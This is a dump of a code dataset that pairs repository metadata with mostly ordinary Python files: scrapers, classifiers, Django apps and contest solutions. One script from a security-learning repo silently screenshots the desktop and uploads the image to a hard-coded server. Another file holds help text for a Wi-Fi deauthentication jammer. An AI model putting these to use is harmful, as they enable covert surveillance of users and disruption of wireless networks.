hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9f4b9fb0f062334cdf0cc9b279863d4e3e3b9460 | 2,141 | py | Python | classify/korea_classify.py | iecasszyjy/tweet_search-master | e4978521a39964c22ae46bf35d6ff17710e8e6c6 | [
"MIT"
] | null | null | null | classify/korea_classify.py | iecasszyjy/tweet_search-master | e4978521a39964c22ae46bf35d6ff17710e8e6c6 | [
"MIT"
] | 2 | 2021-03-31T18:54:16.000Z | 2021-12-13T19:49:08.000Z | classify/korea_classify.py | iecasszyjy/tweet_search-master | e4978521a39964c22ae46bf35d6ff17710e8e6c6 | [
"MIT"
] | null | null | null | import os
import re
import time
import json
from datetime import datetime
from tqdm import tqdm
import codecs
import numpy as np
import subprocess
import multiprocessing
#from multiprocessing import Pool
from multiprocessing.dummy import Pool
from pprint import pprint
import pymongo
from pymongo import InsertOne, Del... | 26.432099 | 122 | 0.68426 |
e255081517344bf6cbe3213b06619645d97c29db | 200 | py | Python | Contests/CCC/CCC '01 J1 - Dressing Up.py | MastaCoder/Projects | ebb0a3134522b12f052fec8d753005f384adf1b1 | [
"MIT"
] | 5 | 2018-10-11T01:55:40.000Z | 2021-12-25T23:38:22.000Z | Contests/CCC/CCC '01 J1 - Dressing Up.py | MastaCoder/mini_projects | ebb0a3134522b12f052fec8d753005f384adf1b1 | [
"MIT"
] | null | null | null | Contests/CCC/CCC '01 J1 - Dressing Up.py | MastaCoder/mini_projects | ebb0a3134522b12f052fec8d753005f384adf1b1 | [
"MIT"
] | 1 | 2019-02-22T14:42:50.000Z | 2019-02-22T14:42:50.000Z | a = int(input()); c = 1
for b in range(a//2):
print("*"*c + " "*((a*2)-(c*2)) + ("*"*c))
c += 2
print("*"*(a*2))
for b in range(a//2):
c -= 2
print("*"*c + " "*((a*2)-(c*2)) + ("*"*c)) | 25 | 46 | 0.35 |
390c156be09b1bd0d25a26dfc782841bca4b9b9f | 731 | py | Python | apps/profile/urls.py | IT-PM-OpenAdaptronik/Webapp | c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4 | [
"MIT"
] | 2 | 2017-12-17T21:28:22.000Z | 2018-02-02T14:44:58.000Z | apps/profile/urls.py | IT-PM-OpenAdaptronik/Webapp | c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4 | [
"MIT"
] | 118 | 2017-10-31T13:45:09.000Z | 2018-02-24T20:51:42.000Z | apps/profile/urls.py | OpenAdaptronik/Rattler | c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4 | [
"MIT"
] | null | null | null | from django.urls import path
from . import views
app_name = 'profile'
urlpatterns = [
path('', views.show_me, name='index'),
path('edit/', views.ProfileUpdate.as_view(), name="edit"),
path('edit/image/', views.ProfileImageUpdate.as_view(), name="edit_image"),
path('edit/image/delete/', views.deleteProf... | 48.733333 | 114 | 0.704514 |
377f2dea995fae0098b4f1d6290e90812a5cfe99 | 37,900 | py | Python | scripts/signal_marker_processing/markers_processing.py | CsabaWirnhardt/cbm | 1822addd72881057af34ac6a7c2a1f02ea511225 | [
"BSD-3-Clause"
] | 17 | 2021-01-18T07:27:01.000Z | 2022-03-10T12:26:21.000Z | scripts/signal_marker_processing/markers_processing.py | CsabaWirnhardt/cbm | 1822addd72881057af34ac6a7c2a1f02ea511225 | [
"BSD-3-Clause"
] | 4 | 2021-04-29T11:20:44.000Z | 2021-12-06T10:19:17.000Z | scripts/signal_marker_processing/markers_processing.py | CsabaWirnhardt/cbm | 1822addd72881057af34ac6a7c2a1f02ea511225 | [
"BSD-3-Clause"
] | 47 | 2021-01-21T08:25:22.000Z | 2022-03-21T14:28:42.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of CbM (https://github.com/ec-jrc/cbm).
# Author : Daniele Borio
# Credits : GTCAP Team
# Copyright : 2021 European Commission, Joint Research Centre
# License : 3-Clause BSD
# Created on Thu Jul 1 09:58:08 2021
import abc
import pandas as pd... | 34.675206 | 106 | 0.509947 |
8091bda405004728136048008f0eac92410abd42 | 389 | py | Python | src/onegov/town6/forms/directory.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/town6/forms/directory.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/town6/forms/directory.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.org.forms.directory import DirectoryBaseForm as \
OrgDirectoryBaseForm
from onegov.town6.theme import user_options
class DirectoryBaseForm(OrgDirectoryBaseForm):
""" Form for directories. """
@property
def default_marker_color(self):
return self.request.app.org.theme_options.get('... | 29.923077 | 75 | 0.735219 |
454ca568b49bed47e4f02f73d8efb9192f32562e | 987 | pyde | Python | sketches/lindenmayer1/lindenmayer1.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 4 | 2018-06-03T02:11:46.000Z | 2021-08-18T19:55:15.000Z | sketches/lindenmayer1/lindenmayer1.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | null | null | null | sketches/lindenmayer1/lindenmayer1.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 3 | 2019-12-23T19:12:51.000Z | 2021-04-30T14:00:31.000Z | add_library('Turtle')
import math
num_gen = 4
len_seg = 6
a = 22.5 # Winkel
axiom = "F"
sentence = axiom
rules = {"F": "FF-[-F+F+F]+[+F-F-F]"}
def setup():
global p
size(400, 400)
this.surface.setTitle("Lindenmayer Tree 1")
background(50)
strokeWeight(1)
stroke(150, 255, 100)
p = Turtle... | 18.622642 | 47 | 0.494428 |
4559730fda304b2ab931bfc17c2a1b84111398a9 | 2,300 | py | Python | pws/scraper.py | zamys/pws | b26ddb12cbbb00ef3a337d8b5a8ef7dc051d4b13 | [
"MIT"
] | null | null | null | pws/scraper.py | zamys/pws | b26ddb12cbbb00ef3a337d8b5a8ef7dc051d4b13 | [
"MIT"
] | null | null | null | pws/scraper.py | zamys/pws | b26ddb12cbbb00ef3a337d8b5a8ef7dc051d4b13 | [
"MIT"
] | null | null | null | import keys
import tweepy
import datetime
import time
import jsonpickle
time_start = time.time()
#Authenticatie
key = keys.GetKeys()
auth = tweepy.OAuthHandler(key.consumer, key.consumer_secret)
auth.set_access_token(key.access_token, key.access_token_secret)
api = tweepy.API(auth)
#Hoeveel tweets worden opgeslagen p... | 37.704918 | 153 | 0.653043 |
45b6203479a06cfab527412604726bc1adbaed24 | 863 | py | Python | Packs/CommonScripts/Scripts/GetEnabledInstances/GetEnabledInstances.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/CommonScripts/Scripts/GetEnabledInstances/GetEnabledInstances.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/CommonScripts/Scripts/GetEnabledInstances/GetEnabledInstances.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto # noqa: F401
from CommonServerPython import * # noqa: F401
def get_enabled_instances():
enabled_instances = []
readable_output = []
instances = demisto.getModules()
for instance_name, data in instances.items():
if data.get('state') == 'active':
enabl... | 27.83871 | 78 | 0.648899 |
ffb08edfd495c0c9fa31bd513b19a96a99959fa4 | 7,503 | py | Python | official/cv/fastscnn/cal_mIoU.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | null | null | null | official/cv/fastscnn/cal_mIoU.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | null | null | null | official/cv/fastscnn/cal_mIoU.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 2 | 2019-09-01T06:17:04.000Z | 2019-10-04T08:39:45.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 40.33871 | 110 | 0.629482 |
ffb52306471c77b7feaabe21377dc1c6402948c2 | 835 | py | Python | labs/lab09/test.py | jputlock/CSCI4961 | 3f8300694c0ac0d2163973b421343cd776053528 | [
"Apache-2.0"
] | null | null | null | labs/lab09/test.py | jputlock/CSCI4961 | 3f8300694c0ac0d2163973b421343cd776053528 | [
"Apache-2.0"
] | null | null | null | labs/lab09/test.py | jputlock/CSCI4961 | 3f8300694c0ac0d2163973b421343cd776053528 | [
"Apache-2.0"
] | 3 | 2019-06-16T18:45:57.000Z | 2021-12-02T11:44:05.000Z | import tensorflow as tf
import numpy as np
num_examples = 50
X = np.array([np.linspace(-2, 4, num_examples), np.linspace(6,-18, num_examples)])
x, y = X
y += np.random.randn(num_examples)
bias_with_x = np.array([(1.0,a) for a in x]).astype(np.float32)
training_steps = 50
learning_rate = 0.002
# with tf.Session() as ses... | 37.954545 | 86 | 0.686228 |
4431e202306cd23a756d11a9f2849cbd3ae73183 | 186 | py | Python | nz_django/day6/error_view_demo/errors/urls.py | gaohj/nzflask_bbs | 36a94c380b78241ed5d1e07edab9618c3e8d477b | [
"Apache-2.0"
] | null | null | null | nz_django/day6/error_view_demo/errors/urls.py | gaohj/nzflask_bbs | 36a94c380b78241ed5d1e07edab9618c3e8d477b | [
"Apache-2.0"
] | 27 | 2020-02-12T07:55:58.000Z | 2022-03-12T00:19:09.000Z | nz_django/day6/error_view_demo/errors/urls.py | gaohj/nzflask_bbs | 36a94c380b78241ed5d1e07edab9618c3e8d477b | [
"Apache-2.0"
] | 2 | 2020-02-18T01:54:55.000Z | 2020-02-21T11:36:28.000Z | from django.urls import path
from . import views
app_name = 'errors'
urlpatterns = [
path('403.html/',views.view_403,name='403'),
path('404.html/',views.view_400,name='400'),
] | 20.666667 | 48 | 0.677419 |
9281e314273c88ffa7e087e3b48ce36fc361270f | 293 | py | Python | pwn/quickie/server.py | vidner/codepwnda-ctf | 7e086044b753fe555b44395b79827d2f5b89da1d | [
"Unlicense"
] | 6 | 2021-02-18T15:07:55.000Z | 2022-02-04T01:38:10.000Z | pwn/quickie/server.py | vidner/codepwnda-ctf | 7e086044b753fe555b44395b79827d2f5b89da1d | [
"Unlicense"
] | null | null | null | pwn/quickie/server.py | vidner/codepwnda-ctf | 7e086044b753fe555b44395b79827d2f5b89da1d | [
"Unlicense"
] | null | null | null | #!/usr/bin/env python
import subprocess
jsc = raw_input('give me your one liner payload (use something like https://javascriptcompressor.com/): ')
proc = subprocess.Popen(["/home/ctf/qjs", "-e", jsc], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = proc.communicate()
print(out)
| 29.3 | 106 | 0.730375 |
2bd3ee07e58a6e487823e5e8867615cfe0a7e7f3 | 31,583 | py | Python | Classification/Live Kidney Classification/lib/transformers.py | moasgh/BumbleBee | 2b0aae7970ab316c7b8b12dd4032b41ee1772aad | [
"MIT"
] | 7 | 2020-03-06T05:53:43.000Z | 2022-01-30T17:31:18.000Z | Classification/Live Kidney Classification/lib/transformers.py | moasgh/BumbleBee | 2b0aae7970ab316c7b8b12dd4032b41ee1772aad | [
"MIT"
] | null | null | null | Classification/Live Kidney Classification/lib/transformers.py | moasgh/BumbleBee | 2b0aae7970ab316c7b8b12dd4032b41ee1772aad | [
"MIT"
] | null | null | null | from lib.utils import transform
import re
import contractions
import emoji
import nltk
import pandas as pd
import numpy as np
import os
from collections import Counter
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.feature_extraction.text import HashingVectorizer
from sklearn.feature_selection... | 42.622132 | 156 | 0.586708 |
2bec9cdad7d2b72524114b437a5f7f2a8e262528 | 117 | py | Python | src/compgen2/correction/__init__.py | CorrelAid/compgen-ii-cgv | 810a044d6bbe1ce058a359115e3e5fc71a358549 | [
"MIT"
] | 1 | 2022-02-02T12:41:06.000Z | 2022-02-02T12:41:06.000Z | src/compgen2/correction/__init__.py | CorrelAid/compgen-ii-cgv | 810a044d6bbe1ce058a359115e3e5fc71a358549 | [
"MIT"
] | null | null | null | src/compgen2/correction/__init__.py | CorrelAid/compgen-ii-cgv | 810a044d6bbe1ce058a359115e3e5fc71a358549 | [
"MIT"
] | null | null | null | from .loc_autocorrection import LocCorrection
from .phonetic import Phonetic
from .preprocessing import Preprocessing | 39 | 45 | 0.880342 |
a692c4ec897ed006715e4c7e24f829ca5925462d | 1,708 | py | Python | languages/python/exercises/concept/dicts/dicts_test.py | AlexLeSang/v3 | 3d35961a961b5a2129b1d42f1d118972d9665357 | [
"MIT"
] | null | null | null | languages/python/exercises/concept/dicts/dicts_test.py | AlexLeSang/v3 | 3d35961a961b5a2129b1d42f1d118972d9665357 | [
"MIT"
] | 1 | 2020-01-26T20:08:06.000Z | 2020-01-26T20:08:06.000Z | languages/python/exercises/concept/dicts/dicts_test.py | AlexLeSang/v3 | 3d35961a961b5a2129b1d42f1d118972d9665357 | [
"MIT"
] | null | null | null | import unittest
from dicts import *
class test_inventory(unittest.TestCase):
def test_create_inventory(self):
self.assertEqual(create_inventory(["wood", "iron", "iron", "diamond", "diamond"]),
{"wood":1, "iron":2, "diamond":2})
def test_add_one_item(self):
self.assertE... | 41.658537 | 96 | 0.511124 |
a692e69bd86467dd9ccc63c7cf87b669fdedcb3e | 1,160 | py | Python | Python/pandas/13_merge.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/pandas/13_merge.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/pandas/13_merge.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | import pandas as pd
l = pd.DataFrame({
"id": [0, 1, 3, 4],
"A": ['a', 'b', 'c', 'd'],
"B": ['e', 'f', 'g', 'h'],
})
r = pd.DataFrame({
"id": [0, 1, 3, 4],
"B": ['e', 'f', 'z', 'h'],
"C": ['i', 'j', 'k', 'l'],
"d": ['m', 'n', 'o', 'p'],
})
# when merge on="id" Spalten werden sortiert, ohn... | 28.292683 | 110 | 0.587069 |
5baa72fd7d7c2fc3bc5309a9ea319c3cba4e252a | 251 | py | Python | tests/onegov/ticket/conftest.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/ticket/conftest.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/ticket/conftest.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | import pytest
import onegov.ticket
@pytest.fixture(scope='function')
def handlers():
before = onegov.ticket.handlers.registry
onegov.ticket.handlers.registry = {}
yield onegov.ticket.handlers
onegov.ticket.handlers.registry = before
| 22.818182 | 44 | 0.749004 |
f353ba1a03b14dc2b6f4440eb1e7a10cdce72e0b | 5,586 | py | Python | wifijammer-master/pull.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | wifijammer-master/pull.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | wifijammer-master/pull.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | import os
import sys
import random
__help__ = """Usage:
wifijammer.py [--argument] [value]
Args Description Default
-h, --help Throwback this help manaul False
-i, --interface Monitor Mode Interface to use
for scanning & deauthenticatio... | 25.162162 | 85 | 0.538668 |
45ee2aadc4de031f3588c2f6b5b6f76945d5cead | 10,427 | py | Python | CI-Python/qa327_test/frontend/test_sell.py | michael-fourie/Mags_Co | b9c8ae1730fabde3da95ed0f271ff061505a06c2 | [
"MIT"
] | 3 | 2020-11-06T21:54:57.000Z | 2020-12-10T22:06:24.000Z | CI-Python/qa327_test/frontend/test_sell.py | michael-fourie/Mags_Co | b9c8ae1730fabde3da95ed0f271ff061505a06c2 | [
"MIT"
] | 3 | 2020-11-30T01:04:41.000Z | 2020-12-13T19:29:45.000Z | CI-Python/qa327_test/frontend/test_sell.py | michael-fourie/Mags_Co | b9c8ae1730fabde3da95ed0f271ff061505a06c2 | [
"MIT"
] | 3 | 2020-11-23T19:25:41.000Z | 2022-02-04T15:18:19.000Z | import pytest
from seleniumbase import BaseCase
from qa327_test.conftest import base_url
from unittest.mock import patch
from qa327.models import db, User, Form, Ticket
from werkzeug.security import generate_password_hash, check_password_hash
import requests
"""
This file defines all unit tests for the frontend sel... | 39.052434 | 177 | 0.624245 |
1b2be635df4fee5d9243bb2cb1eb3328bbbd1dc9 | 18,086 | py | Python | src/data/toy.py | jejjohnson/hsic_alignment | 3c676a378008634576593abec3a4a01e7daf9218 | [
"MIT"
] | null | null | null | src/data/toy.py | jejjohnson/hsic_alignment | 3c676a378008634576593abec3a4a01e7daf9218 | [
"MIT"
] | null | null | null | src/data/toy.py | jejjohnson/hsic_alignment | 3c676a378008634576593abec3a4a01e7daf9218 | [
"MIT"
] | null | null | null | from pathlib import Path
from typing import Tuple
import numpy as np
import pandas as pd
import scipy.io as scio
from scipy.stats import entropy as sci_entropy
from scipy.stats import norm, ortho_group, uniform
from sklearn import preprocessing
from sklearn.preprocessing import StandardScaler
from sklearn.utils import... | 31.729825 | 122 | 0.548767 |
047eb438168eed18ea58a2ce5d8f69df1148bd52 | 5,709 | py | Python | Canned sequence.py | Klark007/Selbstfahrendes-Auto-im-Modell | d7fe81392de2b29b7dbc7c9d929fa0031b89900b | [
"MIT"
] | null | null | null | Canned sequence.py | Klark007/Selbstfahrendes-Auto-im-Modell | d7fe81392de2b29b7dbc7c9d929fa0031b89900b | [
"MIT"
] | null | null | null | Canned sequence.py | Klark007/Selbstfahrendes-Auto-im-Modell | d7fe81392de2b29b7dbc7c9d929fa0031b89900b | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# coding: Latin-1
# Simple example of a motor sequence script
# Import library functions we need
import ZeroBorg3 as ZeroBorg
import time
import math
import sys
# Setup the ZeroBorg
ZB = ZeroBorg.ZeroBorg()
#ZB.i2cAddress = 0x44 # Uncomment and change the value if you have chan... | 30.367021 | 130 | 0.641618 |
0485b35c2644251d7e2452a05838c5deee04753b | 1,248 | py | Python | ppyt/indicators/boolean_indicators.py | yusukemurayama/ppytrading | 9804d0de870d77bf8a1c847736a636b1342d4600 | [
"MIT"
] | 4 | 2016-08-16T07:47:15.000Z | 2017-12-11T10:08:47.000Z | ppyt/indicators/boolean_indicators.py | yusukemurayama/ppytrading | 9804d0de870d77bf8a1c847736a636b1342d4600 | [
"MIT"
] | null | null | null | ppyt/indicators/boolean_indicators.py | yusukemurayama/ppytrading | 9804d0de870d77bf8a1c847736a636b1342d4600 | [
"MIT"
] | 2 | 2018-06-15T04:43:15.000Z | 2020-05-02T07:47:15.000Z | # coding: utf-8
from ppyt.indicators import IndicatorBase
from ppyt.indicators.basic_indicators import MovingAverageIndicator
import numpy as np
class CrossOverIndicator(IndicatorBase):
"""クロスオーバーが発生したことを表すindicatorです。"""
_findkey = '移動平均線のクロス' # indicatorを一意に特定できる名前をつけます。
def _build_indicator(self, sp... | 35.657143 | 77 | 0.645032 |
b680e989884590174002af1c9240d67abc90be73 | 4,567 | py | Python | test/test_npu/test_onnx/torch.onnx/eval/onnx/cp_onnx_eval.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-12-02T03:07:35.000Z | 2021-12-02T03:07:35.000Z | test/test_npu/test_onnx/torch.onnx/eval/onnx/cp_onnx_eval.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-11-12T07:23:03.000Z | 2021-11-12T08:28:13.000Z | test/test_npu/test_onnx/torch.onnx/eval/onnx/cp_onnx_eval.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020 Huawei Technologies Co., Ltd
# Copyright (c) 2019, Facebook CORPORATION.
# All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/lice... | 35.403101 | 98 | 0.589884 |
1e1c9420b0fc935ff3d44e4ab146e5f84ea5f5b6 | 83 | py | Python | src/universal_build/helpers/__init__.py | prototypefund/universal-build | 809e641d5cf9dc1378cd0e0e3ea6e79f773ae4e7 | [
"MIT"
] | 17 | 2020-11-20T15:58:02.000Z | 2022-02-06T19:18:20.000Z | src/universal_build/helpers/__init__.py | prototypefund/universal-build | 809e641d5cf9dc1378cd0e0e3ea6e79f773ae4e7 | [
"MIT"
] | 3 | 2021-02-17T13:47:44.000Z | 2021-10-14T13:53:15.000Z | src/universal_build/helpers/__init__.py | prototypefund/universal-build | 809e641d5cf9dc1378cd0e0e3ea6e79f773ae4e7 | [
"MIT"
] | 6 | 2020-11-23T09:51:26.000Z | 2022-02-11T13:46:57.000Z | """Collection of helper modules with build utilities for specific technologies."""
| 41.5 | 82 | 0.795181 |
1e31e09fb77d48f20cbbf4cb7c8028336eb316ef | 1,636 | py | Python | migrations/versions/699c4f6a7fe8_.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 1 | 2021-06-01T14:49:18.000Z | 2021-06-01T14:49:18.000Z | migrations/versions/699c4f6a7fe8_.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 286 | 2020-12-04T14:13:00.000Z | 2022-03-09T19:05:16.000Z | migrations/versions/699c4f6a7fe8_.py | DanielGrams/gsevpt | a92f71694388e227e65ed1b24446246ee688d00e | [
"MIT"
] | null | null | null | """empty message
Revision ID: 699c4f6a7fe8
Revises: b1c05324cc13
Create Date: 2020-07-28 16:29:41.403957
"""
import sqlalchemy as sa
import sqlalchemy_utils
from alembic import op
from project import dbtypes
# revision identifiers, used by Alembic.
revision = "699c4f6a7fe8"
down_revision = "b1c05324cc13"
branch_lab... | 33.387755 | 88 | 0.693154 |
94c79d00347dc6dc7137e2d8cd3fcf3350306018 | 2,716 | py | Python | Machine Learning/fuzzycMean.py | NiclasDev63/Algorithmen | 64c24d0501f9e12ea9be6ae4fa946ad8a40134f6 | [
"MIT"
] | null | null | null | Machine Learning/fuzzycMean.py | NiclasDev63/Algorithmen | 64c24d0501f9e12ea9be6ae4fa946ad8a40134f6 | [
"MIT"
] | null | null | null | Machine Learning/fuzzycMean.py | NiclasDev63/Algorithmen | 64c24d0501f9e12ea9be6ae4fa946ad8a40134f6 | [
"MIT"
] | null | null | null | import numpy as np
from sklearn.datasets import load_iris
import matplotlib.pyplot as plt
def plotData(dataset, centroids, memDegrees, c):
for i in range(len(dataset)):
belonging_centroid = np.argmax([memDegrees[j][i] for j in range(c)])
if belonging_centroid == 0:
plt.scatter(dataset[... | 29.204301 | 133 | 0.636966 |
44a4660752c09dead2667458e5ed31e66a68d031 | 1,207 | py | Python | Packs/Base/Scripts/DBotBuildPhishingClassifier/DBotBuildPhishingClassifier_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/Base/Scripts/DBotBuildPhishingClassifier/DBotBuildPhishingClassifier_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/Base/Scripts/DBotBuildPhishingClassifier/DBotBuildPhishingClassifier_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | from DBotBuildPhishingClassifier import *
QUERY = '-status:closed and -category:job and created:>="2020-11-08T00:00:00 +0200"'
MAPPING = 'spam:SPAM,legit:LEGIT'
def test_no_mapping_no_query():
args = {'phishingLabels': '*'}
args = build_query_in_reepect_to_phishing_labels(args)
assert 'query' not in args... | 36.575758 | 109 | 0.689312 |
78547da3bc51483ce543ff2d3c5514ad301d743e | 409 | py | Python | Screenshot/screenshot.py | Eutectico/Various-IT-security-learning-Labs | 0817cdb1d4004eaf070a88e54b998a1c49af500a | [
"MIT"
] | null | null | null | Screenshot/screenshot.py | Eutectico/Various-IT-security-learning-Labs | 0817cdb1d4004eaf070a88e54b998a1c49af500a | [
"MIT"
] | null | null | null | Screenshot/screenshot.py | Eutectico/Various-IT-security-learning-Labs | 0817cdb1d4004eaf070a88e54b998a1c49af500a | [
"MIT"
] | null | null | null | #!/usr/bin/python3
import pyautogui, requests
im = pyautogui.screenshot()
im.save('screenshot.png', 'PNG')
url = 'http://192.168.1.80/upload_04.php'
test_files = [("screenshot", open("screenshot.png", "rb"))]
test_response = requests.post(url, files = test_files)
if test_response.ok:
print("Upload completed su... | 18.590909 | 59 | 0.701711 |
78a64e78d5647ec29235221200c45d982e4e0043 | 851 | py | Python | nz_django/day2/db_demo1/book/models.py | gaohj/nzflask_bbs | 36a94c380b78241ed5d1e07edab9618c3e8d477b | [
"Apache-2.0"
] | null | null | null | nz_django/day2/db_demo1/book/models.py | gaohj/nzflask_bbs | 36a94c380b78241ed5d1e07edab9618c3e8d477b | [
"Apache-2.0"
] | 27 | 2020-02-12T07:55:58.000Z | 2022-03-12T00:19:09.000Z | nz_django/day2/db_demo1/book/models.py | gaohj/nzflask_bbs | 36a94c380b78241ed5d1e07edab9618c3e8d477b | [
"Apache-2.0"
] | 2 | 2020-02-18T01:54:55.000Z | 2020-02-21T11:36:28.000Z | from django.db import models
# Create your models here.
class Book(models.Model):
#主键 自增 int 类型
id = models.AutoField(primary_key=True)
#图书名字 name varchar(60)
name = models.CharField(max_length=100,null=False)
author = models.CharField(max_length=30,null=False)
price = models.FloatField(null=Fa... | 29.344828 | 58 | 0.694477 |
170c27e99afe49c7fa8828c29f5e5c357c75a97b | 19,030 | py | Python | Packs/PaloAltoNetworksAutomaticSLR_Community/Integrations/PaloAltoNetworksAutomaticSLRCommunity/PaloAltoNetworksAutomaticSLRCommunity.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/PaloAltoNetworksAutomaticSLR_Community/Integrations/PaloAltoNetworksAutomaticSLRCommunity/PaloAltoNetworksAutomaticSLRCommunity.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/PaloAltoNetworksAutomaticSLR_Community/Integrations/PaloAltoNetworksAutomaticSLRCommunity/PaloAltoNetworksAutomaticSLRCommunity.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto # noqa: F401
import xmltodict
from CommonServerPython import * # noqa: F401
''' CONSTANTS '''
DATE_FORMAT = '%Y-%m-%d-%H-%M-%S'
class PanOSXMLAPI(BaseClient):
def __init__(self, host, port, api_key, verify, timeout, proxy, verbose):
# Map class parameters for the target ... | 34.85348 | 120 | 0.610037 |
